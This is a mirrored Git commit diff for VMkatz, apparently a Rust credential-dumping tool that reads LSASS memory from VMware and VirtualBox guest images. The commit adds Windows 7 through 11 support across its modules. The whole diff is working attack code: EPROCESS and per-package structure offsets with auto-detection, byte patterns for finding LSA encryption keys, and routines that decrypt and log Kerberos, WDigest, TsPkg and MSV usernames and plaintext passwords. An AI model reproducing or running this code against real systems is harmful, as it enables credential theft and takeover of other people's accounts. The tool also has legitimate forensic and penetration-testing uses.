mirror of
https://github.com/nikaiw/VMkatz
synced 2026-09-25 07:51:06 +00:00
Multi-version Windows support (Win7 SP1 through Win11)
- EPROCESS: 5 offset tables (Win7/8/8.1/Win10 early/Win10 late+Win11) with auto-detection via find_system_process_auto brute-force scan - MSV1_0: added Win7 (luid=0x30) and Win8/8.1 (luid=0x60) variants - Kerberos: 4 offset variants with auto-detection (luid/cred_ptr/pwd differ) - WDigest: Win10+ and Win7/8/8.1 offset variants with auto-detection - TsPkg: 4 pTsPrimary offsets (0x40/0x70/0x80/0x90) with probing - Credman: added Win7/8 MSV offset variants for credman_ptr - Crypto: added Win7/8/8.1 key offset sets for IV/3DES/AES resolution - Patterns: added Win7/8/8.1 byte patterns for lsasrv key init - LDR offsets confirmed stable across Win7-11 (renamed to X64_LDR)
This commit is contained in:
@@ -16,13 +16,14 @@ struct CredmanMsvOffsets {
|
||||
}
|
||||
|
||||
const CREDMAN_MSV_OFFSET_VARIANTS: &[CredmanMsvOffsets] = &[
|
||||
// Variant 0: Win10 1607+ (build 14393+) / 22H2 (build 19045)
|
||||
// MSV variant 2: luid=0x90, username=0xA8, credentials_ptr=0x108
|
||||
// CredentialManager follows immediately at 0x110
|
||||
// Win10 1607+ / Win11 (build 14393+)
|
||||
CredmanMsvOffsets { flink: 0x00, luid: 0x90, username: 0xA8, credman_ptr: 0x110 },
|
||||
// Variant 1: Older Win10 (1507-1511)
|
||||
// MSV variant 1: luid=0x70, username=0x80, credentials_ptr=0xE8
|
||||
// Win10 1507-1511
|
||||
CredmanMsvOffsets { flink: 0x00, luid: 0x70, username: 0x80, credman_ptr: 0xF0 },
|
||||
// Win8/8.1
|
||||
CredmanMsvOffsets { flink: 0x00, luid: 0x60, username: 0x70, credman_ptr: 0xE0 },
|
||||
// Win7 SP1
|
||||
CredmanMsvOffsets { flink: 0x00, luid: 0x30, username: 0x40, credman_ptr: 0xC0 },
|
||||
];
|
||||
|
||||
/// KIWI_CREDMAN_LIST_STARTER offsets (Win10 19041+):
|
||||
|
||||
@@ -26,6 +26,9 @@ const KEY_OFFSET_SETS: &[(i64, i64, i64)] = &[
|
||||
(61, -73, 16), // LSA_x64_5: Win10 1507-1607
|
||||
(71, -89, 16), // LSA_x64_9: Win11 22H2+
|
||||
(58, -89, 16), // LSA_x64_8: Win11 early
|
||||
(62, -74, 23), // LSA_x64_3: Win8.1 / Server 2012 R2
|
||||
(59, -61, 23), // LSA_x64_1: Win7 / Server 2008 R2
|
||||
(62, -70, 23), // LSA_x64_2: Win8 / Server 2012
|
||||
];
|
||||
|
||||
/// Extract IV, 3DES key, and AES key from lsasrv.dll.
|
||||
|
||||
+3
-2
@@ -804,8 +804,9 @@ fn scan_phys_for_kerberos_credentials<P: PhysicalMemory>(
|
||||
continue;
|
||||
}
|
||||
|
||||
// Try to decrypt the password
|
||||
let password = crate::lsass::kerberos::extract_kerb_password(vmem, *vaddr, keys)
|
||||
// Try to decrypt the password (try Win10 1607+ offset first, then older)
|
||||
let password = crate::lsass::kerberos::extract_kerb_password(vmem, *vaddr, 0x30, keys)
|
||||
.or_else(|_| crate::lsass::kerberos::extract_kerb_password(vmem, *vaddr, 0x28, keys))
|
||||
.unwrap_or_default();
|
||||
|
||||
log::info!(
|
||||
|
||||
+53
-43
@@ -5,44 +5,31 @@ use crate::lsass::types::KerberosCredential;
|
||||
use crate::memory::VirtualMemory;
|
||||
use crate::pe::parser::PeHeaders;
|
||||
|
||||
/// Kerberos session offsets (Windows 10 x64 1607+).
|
||||
/// KIWI_KERBEROS_LOGON_SESSION_10_1607 layout (x64):
|
||||
/// +0x00: UsageCount (ULONG + 4 pad)
|
||||
/// +0x08: unk0 (LIST_ENTRY, 16 bytes)
|
||||
/// +0x18: unk1 (PVOID)
|
||||
/// +0x20: unk1b (ULONG + 4 pad)
|
||||
/// +0x28: unk2 (FILETIME)
|
||||
/// +0x30: unk4 (PVOID)
|
||||
/// +0x38: unk5 (PVOID)
|
||||
/// +0x40: unk6 (PVOID)
|
||||
/// +0x48: LocallyUniqueIdentifier (LUID, 8 bytes)
|
||||
/// ... more fields ...
|
||||
/// +0x88: credentials (PVOID -> KIWI_KERBEROS_PRIMARY_CREDENTIAL)
|
||||
///
|
||||
/// Kerberos session offsets per Windows version (x64).
|
||||
/// KerbGlobalLogonSessionTable is an RTL_AVL_TABLE (since Vista).
|
||||
/// Each AVL tree node has RTL_BALANCED_LINKS (0x20 bytes) header,
|
||||
/// followed by the session entry data.
|
||||
/// So entry data offset from node = 0x20.
|
||||
struct KerbOffsets {
|
||||
/// Offset of session data from AVL node (sizeof(RTL_BALANCED_LINKS))
|
||||
avl_node_data_offset: u64,
|
||||
luid: u64,
|
||||
credentials_ptr: u64,
|
||||
/// Password offset within KIWI_KERBEROS_PRIMARY_CREDENTIAL
|
||||
cred_password: u64,
|
||||
}
|
||||
|
||||
const KERB_OFFSETS: KerbOffsets = KerbOffsets {
|
||||
avl_node_data_offset: 0x20,
|
||||
luid: 0x48,
|
||||
credentials_ptr: 0x88,
|
||||
};
|
||||
|
||||
/// KIWI_KERBEROS_PRIMARY_CREDENTIAL_1607 offsets:
|
||||
/// +0x00: UserName (UNICODE_STRING, 16 bytes)
|
||||
/// +0x10: DomainName (UNICODE_STRING, 16 bytes)
|
||||
/// +0x20: unk0 (PVOID, 8 bytes)
|
||||
/// +0x28: unk_padding (8 bytes)
|
||||
/// +0x30: Password (UNICODE_STRING, 16 bytes, encrypted)
|
||||
const KERB_CRED_PASSWORD_OFFSET: u64 = 0x30;
|
||||
/// Multiple offset variants for different Windows versions.
|
||||
const KERB_OFFSET_VARIANTS: &[KerbOffsets] = &[
|
||||
// Win10 1607+ / Win11: KIWI_KERBEROS_LOGON_SESSION_10_1607
|
||||
// Password at +0x30 in cred (extra unk0+padding before Password)
|
||||
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x48, credentials_ptr: 0x88, cred_password: 0x30 },
|
||||
// Win10 1507-1511: KIWI_KERBEROS_LOGON_SESSION_10_1507
|
||||
// Password at +0x28 in cred (no extra padding)
|
||||
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x48, credentials_ptr: 0x88, cred_password: 0x28 },
|
||||
// Win8/8.1: KIWI_KERBEROS_LOGON_SESSION_10
|
||||
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x40, credentials_ptr: 0x80, cred_password: 0x28 },
|
||||
// Win7: KIWI_KERBEROS_LOGON_SESSION
|
||||
KerbOffsets { avl_node_data_offset: 0x20, luid: 0x18, credentials_ptr: 0x50, cred_password: 0x28 },
|
||||
];
|
||||
|
||||
/// Extract Kerberos credentials from kerberos.dll.
|
||||
pub fn extract_kerberos_credentials(
|
||||
@@ -113,7 +100,8 @@ pub fn extract_kerberos_credentials(
|
||||
walk_avl_tree(vmem, root_node, table_addr, &mut nodes, 0);
|
||||
log::info!("Kerberos AVL tree: found {} nodes", nodes.len());
|
||||
|
||||
let offsets = &KERB_OFFSETS;
|
||||
// Auto-detect offset variant by probing first non-empty node
|
||||
let offsets = detect_kerb_offsets(vmem, &nodes);
|
||||
|
||||
for node_ptr in &nodes {
|
||||
let entry = node_ptr + offsets.avl_node_data_offset;
|
||||
@@ -121,15 +109,11 @@ pub fn extract_kerberos_credentials(
|
||||
let cred_ptr = vmem.read_virt_u64(entry + offsets.credentials_ptr).unwrap_or(0);
|
||||
|
||||
if cred_ptr != 0 && luid != 0 {
|
||||
// KIWI_KERBEROS_PRIMARY_CREDENTIAL_1607:
|
||||
// +0x00: UserName (UNICODE_STRING, 16 bytes)
|
||||
// +0x10: DomainName (UNICODE_STRING, 16 bytes)
|
||||
// +0x30: Password (UNICODE_STRING, 16 bytes, encrypted)
|
||||
let username = vmem.read_win_unicode_string(cred_ptr).unwrap_or_default();
|
||||
let domain = vmem.read_win_unicode_string(cred_ptr + 0x10).unwrap_or_default();
|
||||
|
||||
if !username.is_empty() {
|
||||
let password = extract_kerb_password(vmem, cred_ptr, keys).unwrap_or_default();
|
||||
let password = extract_kerb_password(vmem, cred_ptr, offsets.cred_password, keys).unwrap_or_default();
|
||||
if !password.is_empty() {
|
||||
log::info!("Kerberos: LUID=0x{:x} user={} domain={}", luid, username, domain);
|
||||
results.push((
|
||||
@@ -179,19 +163,45 @@ fn walk_avl_tree(
|
||||
walk_avl_tree(vmem, right, sentinel, results, depth + 1);
|
||||
}
|
||||
|
||||
/// Auto-detect Kerberos offset variant by probing AVL tree nodes.
|
||||
fn detect_kerb_offsets(vmem: &impl VirtualMemory, nodes: &[u64]) -> &'static KerbOffsets {
|
||||
for node_ptr in nodes {
|
||||
for variant in KERB_OFFSET_VARIANTS {
|
||||
let entry = node_ptr + variant.avl_node_data_offset;
|
||||
let luid = match vmem.read_virt_u64(entry + variant.luid) {
|
||||
Ok(l) => l,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if luid == 0 || luid > 0xFFFFFFFF {
|
||||
continue;
|
||||
}
|
||||
let cred_ptr = match vmem.read_virt_u64(entry + variant.credentials_ptr) {
|
||||
Ok(p) => p,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if cred_ptr < 0x10000 || (cred_ptr >> 48) != 0 {
|
||||
continue;
|
||||
}
|
||||
// Try reading username from credential structure
|
||||
let username = vmem.read_win_unicode_string(cred_ptr).unwrap_or_default();
|
||||
if !username.is_empty() && username.len() < 256 {
|
||||
log::debug!("Kerberos: auto-detected offsets luid=0x{:x} cred=0x{:x} pwd=0x{:x}",
|
||||
variant.luid, variant.credentials_ptr, variant.cred_password);
|
||||
return variant;
|
||||
}
|
||||
}
|
||||
}
|
||||
&KERB_OFFSET_VARIANTS[0]
|
||||
}
|
||||
|
||||
pub fn extract_kerb_password(
|
||||
vmem: &impl VirtualMemory,
|
||||
cred_ptr: u64,
|
||||
password_offset: u64,
|
||||
keys: &CryptoKeys,
|
||||
) -> Result<String> {
|
||||
// KIWI_KERBEROS_PRIMARY_CREDENTIAL_1607:
|
||||
// +0x00: UserName (UNICODE_STRING, 16 bytes)
|
||||
// +0x10: DomainName (UNICODE_STRING, 16 bytes)
|
||||
// +0x20: unk0 (PVOID, 8 bytes)
|
||||
// +0x28: unk_padding (8 bytes)
|
||||
// +0x30: Password (UNICODE_STRING, 16 bytes, encrypted)
|
||||
let pwd_len = vmem.read_virt_u16(cred_ptr + KERB_CRED_PASSWORD_OFFSET)? as usize;
|
||||
let pwd_ptr = vmem.read_virt_u64(cred_ptr + KERB_CRED_PASSWORD_OFFSET + 8)?;
|
||||
let pwd_len = vmem.read_virt_u16(cred_ptr + password_offset)? as usize;
|
||||
let pwd_ptr = vmem.read_virt_u64(cred_ptr + password_offset + 8)?;
|
||||
|
||||
if pwd_len == 0 || pwd_ptr == 0 {
|
||||
return Ok(String::new());
|
||||
|
||||
+4
-2
@@ -20,13 +20,15 @@ struct MsvOffsets {
|
||||
// credentials_ptr = 0 means "auto-detect by scanning for Primary signature".
|
||||
const MSV_OFFSET_VARIANTS: &[MsvOffsets] = &[
|
||||
// Variant 0: Empirical NlpActiveLogonTable (Win10 19041+/22H2)
|
||||
// Discovered via hex dump: LUID at +0x2C (u64), UserName at +0x48, Domain at +0x58
|
||||
// credentials_ptr unknown -> auto-detect
|
||||
MsvOffsets { flink: 0x00, luid: 0x2C, username: 0x48, domain: 0x58, credentials_ptr: 0 },
|
||||
// Variant 1: MSV1_0_LIST_63 base (Win10 1507-1511)
|
||||
MsvOffsets { flink: 0x00, luid: 0x70, username: 0x80, domain: 0x90, credentials_ptr: 0xE8 },
|
||||
// Variant 2: MSV1_0_LIST_63 extended (Win10 1607+)
|
||||
MsvOffsets { flink: 0x00, luid: 0x90, username: 0xA8, domain: 0xB8, credentials_ptr: 0x108 },
|
||||
// Variant 3: MSV1_0_LIST_62 (Win8/8.1 / Server 2012/2012R2)
|
||||
MsvOffsets { flink: 0x00, luid: 0x70, username: 0x90, domain: 0xA0, credentials_ptr: 0xF8 },
|
||||
// Variant 4: MSV1_0_LIST_61 (Win7 / Server 2008 R2)
|
||||
MsvOffsets { flink: 0x00, luid: 0x30, username: 0x40, domain: 0x50, credentials_ptr: 0xA0 },
|
||||
];
|
||||
|
||||
/// Primary credential offsets within MSV1_0_PRIMARY_CREDENTIAL.
|
||||
|
||||
@@ -6,12 +6,16 @@ use crate::memory::VirtualMemory;
|
||||
/// Pattern to find the IV (InitializationVector) in lsasrv.dll.
|
||||
/// Multiple patterns for different builds.
|
||||
pub static LSASRV_KEY_PATTERNS: &[&[u8]] = &[
|
||||
// Win10 1607+ (most common)
|
||||
// Win10 1607+ / Win11 (most common)
|
||||
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
|
||||
// Win10 1507/1511
|
||||
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
|
||||
// Win10 1903+
|
||||
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
|
||||
// Win8.1 / Server 2012 R2
|
||||
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8D, 0x15],
|
||||
// Win7 / Server 2008 R2 (LsaInitializeProtectedMemory)
|
||||
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D, 0xD8],
|
||||
// Win8 / Server 2012
|
||||
&[0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8D, 0x45, 0xE0, 0x44, 0x8B, 0x4D],
|
||||
];
|
||||
|
||||
/// Pattern to find LogonSessionList in msv1_0.dll.
|
||||
|
||||
+30
-19
@@ -5,24 +5,15 @@ use crate::lsass::types::TspkgCredential;
|
||||
use crate::memory::VirtualMemory;
|
||||
use crate::pe::parser::PeHeaders;
|
||||
|
||||
/// TsPkg credential offsets for Windows 10 x64 1607+ (build >= 14394).
|
||||
///
|
||||
/// KIWI_TS_CREDENTIAL_1607 layout (x64):
|
||||
/// +0x00: Flink (LIST_ENTRY.Flink)
|
||||
/// +0x08: Blink (LIST_ENTRY.Blink)
|
||||
/// +0x10..0x8f: various internal fields
|
||||
/// +0x90: pTsPrimary (PTR -> KIWI_TS_PRIMARY_CREDENTIAL)
|
||||
///
|
||||
/// KIWI_TS_PRIMARY_CREDENTIAL layout:
|
||||
/// +0x00: Credentials (UNICODE_STRING - encrypted blob)
|
||||
/// The encrypted blob decrypts to:
|
||||
/// +0x00: UserName (UNICODE_STRING, offsets relative to blob start)
|
||||
/// +0x10: DomainName (UNICODE_STRING)
|
||||
/// +0x20: Password (UNICODE_STRING)
|
||||
///
|
||||
/// TsPkg pTsPrimary offset per Windows version (x64).
|
||||
/// TSGlobalCredTable is a PVOID* (pointer to the first linked list entry).
|
||||
/// When NULL, no TsPkg credentials exist (common for non-RDP sessions).
|
||||
const TSPKG_PTS_PRIMARY_OFFSET: u64 = 0x90;
|
||||
const TSPKG_PTS_PRIMARY_OFFSETS: &[u64] = &[
|
||||
0x90, // Win10 1507+ / Win11
|
||||
0x80, // Win8.1
|
||||
0x70, // Win8
|
||||
0x40, // Win7 SP1
|
||||
];
|
||||
|
||||
/// Extract TsPkg credentials from tspkg.dll.
|
||||
///
|
||||
@@ -93,9 +84,9 @@ pub fn extract_tspkg_credentials(
|
||||
}
|
||||
visited.insert(current);
|
||||
|
||||
// Read pTsPrimary pointer
|
||||
let pts_primary = vmem.read_virt_u64(current + TSPKG_PTS_PRIMARY_OFFSET).unwrap_or(0);
|
||||
if pts_primary != 0 && pts_primary > 0x10000 && (pts_primary >> 48) == 0 {
|
||||
// Try each pTsPrimary offset variant
|
||||
let pts_primary = detect_tspkg_primary_ptr(vmem, current);
|
||||
if pts_primary != 0 {
|
||||
if let Some(cred) = extract_primary_credential(vmem, keys, pts_primary) {
|
||||
log::info!("TsPkg: user={} domain={}", cred.username, cred.domain);
|
||||
// LUID is not directly accessible from this structure in a reliable way,
|
||||
@@ -113,6 +104,26 @@ pub fn extract_tspkg_credentials(
|
||||
Ok(results)
|
||||
}
|
||||
|
||||
/// Auto-detect the pTsPrimary offset by trying each variant on the entry.
|
||||
fn detect_tspkg_primary_ptr(vmem: &impl VirtualMemory, entry: u64) -> u64 {
|
||||
for &offset in TSPKG_PTS_PRIMARY_OFFSETS {
|
||||
let ptr = match vmem.read_virt_u64(entry + offset) {
|
||||
Ok(p) => p,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if ptr > 0x10000 && (ptr >> 48) == 0 {
|
||||
// Validate: the pointed-to structure should have a UNICODE_STRING (Credentials)
|
||||
// with reasonable Length and MaximumLength
|
||||
let len = vmem.read_virt_u16(ptr).unwrap_or(0) as usize;
|
||||
let max_len = vmem.read_virt_u16(ptr + 2).unwrap_or(0) as usize;
|
||||
if len > 0 && len <= 0x400 && max_len >= len {
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Find TSGlobalCredTable address by scanning LEA instructions near the pattern.
|
||||
///
|
||||
/// The pattern matches a function prologue. We scan forward for LEA reg, [rip+disp]
|
||||
|
||||
+34
-11
@@ -24,13 +24,13 @@ struct WdigestOffsets {
|
||||
password: u64,
|
||||
}
|
||||
|
||||
const WDIGEST_OFFSETS: WdigestOffsets = WdigestOffsets {
|
||||
flink: 0x00,
|
||||
luid: 0x20,
|
||||
username: 0x30,
|
||||
domain: 0x40,
|
||||
password: 0x50,
|
||||
};
|
||||
/// Multiple offset variants for different Windows versions.
|
||||
const WDIGEST_OFFSET_VARIANTS: &[WdigestOffsets] = &[
|
||||
// Win10 1507+ / Win11: extra This+padding before LUID
|
||||
WdigestOffsets { flink: 0x00, luid: 0x20, username: 0x30, domain: 0x40, password: 0x50 },
|
||||
// Win7 / Win8 / Win8.1: no extra padding, smaller struct
|
||||
WdigestOffsets { flink: 0x00, luid: 0x10, username: 0x28, domain: 0x38, password: 0x48 },
|
||||
];
|
||||
|
||||
/// Extract WDigest credentials (plaintext passwords) from wdigest.dll.
|
||||
pub fn extract_wdigest_credentials(
|
||||
@@ -84,7 +84,8 @@ pub fn extract_wdigest_credentials(
|
||||
}
|
||||
}
|
||||
|
||||
let offsets = &WDIGEST_OFFSETS;
|
||||
// Auto-detect offset variant: try each variant on the first entry
|
||||
let offsets = detect_wdigest_offsets(vmem, head_flink);
|
||||
let mut current = head_flink;
|
||||
let mut visited = std::collections::HashSet::new();
|
||||
|
||||
@@ -156,8 +157,6 @@ fn find_wdigest_list_in_data(
|
||||
data_base, data_size
|
||||
);
|
||||
|
||||
let offsets = &WDIGEST_OFFSETS;
|
||||
|
||||
for off in (0..data_size.saturating_sub(16)).step_by(8) {
|
||||
let flink = u64::from_le_bytes(data[off..off + 8].try_into().unwrap());
|
||||
let blink = u64::from_le_bytes(data[off + 8..off + 16].try_into().unwrap());
|
||||
@@ -183,7 +182,8 @@ fn find_wdigest_list_in_data(
|
||||
continue;
|
||||
}
|
||||
|
||||
// Validate by reading first entry
|
||||
// Validate by reading first entry (try each offset variant)
|
||||
let offsets = detect_wdigest_offsets(vmem, flink);
|
||||
let luid = match vmem.read_virt_u64(flink + offsets.luid) {
|
||||
Ok(l) => l,
|
||||
Err(_) => continue,
|
||||
@@ -229,3 +229,26 @@ fn find_wdigest_list(vmem: &impl VirtualMemory, pattern_addr: u64) -> Result<u64
|
||||
))
|
||||
}
|
||||
|
||||
/// Auto-detect WDigest offset variant by probing the first entry.
|
||||
fn detect_wdigest_offsets(vmem: &impl VirtualMemory, first_entry: u64) -> &'static WdigestOffsets {
|
||||
for variant in WDIGEST_OFFSET_VARIANTS {
|
||||
// Check LUID: should be small nonzero value
|
||||
let luid = match vmem.read_virt_u64(first_entry + variant.luid) {
|
||||
Ok(l) => l,
|
||||
Err(_) => continue,
|
||||
};
|
||||
if luid == 0 || luid > 0xFFFFFFFF {
|
||||
continue;
|
||||
}
|
||||
// Check username: should be valid UNICODE_STRING
|
||||
let username = vmem
|
||||
.read_win_unicode_string(first_entry + variant.username)
|
||||
.unwrap_or_default();
|
||||
if !username.is_empty() && username.len() < 256 {
|
||||
return variant;
|
||||
}
|
||||
}
|
||||
// Default to Win10+ offsets
|
||||
&WDIGEST_OFFSET_VARIANTS[0]
|
||||
}
|
||||
|
||||
|
||||
+5
-5
@@ -18,7 +18,7 @@ use vmkatz::vbox::VBoxLayer;
|
||||
#[cfg(feature = "vmware")]
|
||||
use vmkatz::vmware::VmwareLayer;
|
||||
#[cfg(any(feature = "vmware", feature = "vbox"))]
|
||||
use vmkatz::windows::offsets::WIN10_X64_EPROCESS;
|
||||
// EPROCESS offsets auto-detected at runtime from ALL_EPROCESS_OFFSETS
|
||||
#[cfg(any(feature = "vmware", feature = "vbox"))]
|
||||
use vmkatz::windows::process;
|
||||
|
||||
@@ -349,12 +349,12 @@ fn run_with_layer<L: PhysicalMemory, F: FnOnce() -> anyhow::Result<L>>(
|
||||
) -> anyhow::Result<()> {
|
||||
let layer = make_layer()?;
|
||||
|
||||
// Find System process
|
||||
let system = process::find_system_process(&layer, &WIN10_X64_EPROCESS)
|
||||
.context("Failed to find System process. Try different EPROCESS offsets.")?;
|
||||
// Find System process (auto-detect Windows version from EPROCESS layout)
|
||||
let (system, eprocess_offsets) = process::find_system_process_auto(&layer)
|
||||
.context("Failed to find System process")?;
|
||||
|
||||
// Enumerate all processes
|
||||
let processes = process::enumerate_processes(&layer, &system, &WIN10_X64_EPROCESS)
|
||||
let processes = process::enumerate_processes(&layer, &system, &eprocess_offsets)
|
||||
.context("Failed to enumerate processes")?;
|
||||
|
||||
if verbose {
|
||||
|
||||
+71
-6
@@ -1,6 +1,6 @@
|
||||
use crate::error::{GovmemError, Result};
|
||||
|
||||
/// EPROCESS field offsets for Windows 10 x64.
|
||||
/// EPROCESS field offsets for Windows x64.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct EprocessOffsets {
|
||||
pub directory_table_base: u64,
|
||||
@@ -12,6 +12,7 @@ pub struct EprocessOffsets {
|
||||
}
|
||||
|
||||
/// PEB / LDR offsets for enumerating loaded DLLs.
|
||||
/// Stable across Windows 7-11 x64.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct LdrOffsets {
|
||||
pub peb_ldr: u64,
|
||||
@@ -23,8 +24,49 @@ pub struct LdrOffsets {
|
||||
pub ldr_entry_base_dll_name: u64,
|
||||
}
|
||||
|
||||
/// Default EPROCESS offsets for Windows 10 x64 (builds 14393-19045).
|
||||
/// These are stable across most Windows 10 versions.
|
||||
// -- EPROCESS offsets by build range (x64) --
|
||||
|
||||
/// Windows 7 SP1 / Server 2008 R2 (build 7601)
|
||||
const WIN7_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
|
||||
directory_table_base: 0x28,
|
||||
unique_process_id: 0x180,
|
||||
active_process_links: 0x188,
|
||||
image_file_name: 0x2E0,
|
||||
peb: 0x338,
|
||||
section_base_address: 0x268,
|
||||
};
|
||||
|
||||
/// Windows 8 / Server 2012 (build 9200)
|
||||
const WIN8_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
|
||||
directory_table_base: 0x28,
|
||||
unique_process_id: 0x2E0,
|
||||
active_process_links: 0x2E8,
|
||||
image_file_name: 0x438,
|
||||
peb: 0x338,
|
||||
section_base_address: 0x268,
|
||||
};
|
||||
|
||||
/// Windows 8.1 / Server 2012 R2 (build 9600)
|
||||
const WIN81_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
|
||||
directory_table_base: 0x28,
|
||||
unique_process_id: 0x2E0,
|
||||
active_process_links: 0x2E8,
|
||||
image_file_name: 0x438,
|
||||
peb: 0x3E8,
|
||||
section_base_address: 0x268,
|
||||
};
|
||||
|
||||
/// Windows 10 1507/1511/1607 (builds 10240-14393) / Server 2016
|
||||
const WIN10_EARLY_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
|
||||
directory_table_base: 0x28,
|
||||
unique_process_id: 0x2E8,
|
||||
active_process_links: 0x2F0,
|
||||
image_file_name: 0x450,
|
||||
peb: 0x3F8,
|
||||
section_base_address: 0x3C0,
|
||||
};
|
||||
|
||||
/// Windows 10 1703-22H2 (builds 15063-19045) / Server 2019/2022 / Windows 11
|
||||
pub const WIN10_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
|
||||
directory_table_base: 0x28,
|
||||
unique_process_id: 0x440,
|
||||
@@ -34,8 +76,8 @@ pub const WIN10_X64_EPROCESS: EprocessOffsets = EprocessOffsets {
|
||||
section_base_address: 0x520,
|
||||
};
|
||||
|
||||
/// Default LDR offsets for Windows 10 x64.
|
||||
pub const WIN10_X64_LDR: LdrOffsets = LdrOffsets {
|
||||
/// LDR offsets — stable across Windows 7-11 x64.
|
||||
pub const X64_LDR: LdrOffsets = LdrOffsets {
|
||||
peb_ldr: 0x18,
|
||||
ldr_in_load_order: 0x10,
|
||||
ldr_in_memory_order: 0x20,
|
||||
@@ -45,9 +87,32 @@ pub const WIN10_X64_LDR: LdrOffsets = LdrOffsets {
|
||||
ldr_entry_base_dll_name: 0x58,
|
||||
};
|
||||
|
||||
// Keep the old name as alias for backward compatibility
|
||||
pub const WIN10_X64_LDR: LdrOffsets = X64_LDR;
|
||||
|
||||
/// Get EPROCESS offsets for a given Windows build number.
|
||||
pub fn offsets_for_build(build: u32) -> Result<EprocessOffsets> {
|
||||
match build {
|
||||
14393..=22631 => Ok(WIN10_X64_EPROCESS),
|
||||
// Win7 SP1 / Server 2008 R2
|
||||
7600..=7601 => Ok(WIN7_X64_EPROCESS),
|
||||
// Win8 / Server 2012
|
||||
9200 => Ok(WIN8_X64_EPROCESS),
|
||||
// Win8.1 / Server 2012 R2
|
||||
9600 => Ok(WIN81_X64_EPROCESS),
|
||||
// Win10 1507-1607 / Server 2016
|
||||
10240..=14393 => Ok(WIN10_EARLY_X64_EPROCESS),
|
||||
// Win10 1703-22H2 / Server 2019/2022 / Win11
|
||||
15063..=26100 => Ok(WIN10_X64_EPROCESS),
|
||||
_ => Err(GovmemError::UnsupportedBuild(build)),
|
||||
}
|
||||
}
|
||||
|
||||
/// All known EPROCESS offset sets for brute-force scan (when build is unknown).
|
||||
/// Ordered by likelihood (most common first).
|
||||
pub const ALL_EPROCESS_OFFSETS: &[EprocessOffsets] = &[
|
||||
WIN10_X64_EPROCESS, // Win10 1703+ / Win11
|
||||
WIN10_EARLY_X64_EPROCESS, // Win10 1507-1607
|
||||
WIN81_X64_EPROCESS, // Win8.1
|
||||
WIN8_X64_EPROCESS, // Win8
|
||||
WIN7_X64_EPROCESS, // Win7
|
||||
];
|
||||
|
||||
+15
-1
@@ -2,7 +2,7 @@ use crate::error::{GovmemError, Result};
|
||||
use crate::memory::{PhysicalMemory, VirtualMemory};
|
||||
use crate::paging::translate::{PageTableWalker, ProcessMemory};
|
||||
use crate::windows::eprocess::EprocessReader;
|
||||
use crate::windows::offsets::EprocessOffsets;
|
||||
use crate::windows::offsets::{EprocessOffsets, ALL_EPROCESS_OFFSETS};
|
||||
|
||||
/// PEB + 0x20 = ProcessParameters (RTL_USER_PROCESS_PARAMETERS*)
|
||||
const PEB_PROCESS_PARAMETERS: u64 = 0x20;
|
||||
@@ -19,6 +19,20 @@ pub struct Process {
|
||||
pub peb_vaddr: u64,
|
||||
}
|
||||
|
||||
/// Find the System process by trying all known EPROCESS offset sets.
|
||||
/// Returns the process and the matching offsets.
|
||||
pub fn find_system_process_auto(
|
||||
phys: &impl PhysicalMemory,
|
||||
) -> Result<(Process, EprocessOffsets)> {
|
||||
for offsets in ALL_EPROCESS_OFFSETS {
|
||||
match find_system_process(phys, offsets) {
|
||||
Ok(proc) => return Ok((proc, *offsets)),
|
||||
Err(_) => continue,
|
||||
}
|
||||
}
|
||||
Err(GovmemError::SystemProcessNotFound)
|
||||
}
|
||||
|
||||
/// Find the System process (PID 4) by scanning physical memory.
|
||||
///
|
||||
/// Scans page-by-page through physical address space looking for "System\0" at
|
||||
|
||||
Reference in New Issue
Block a user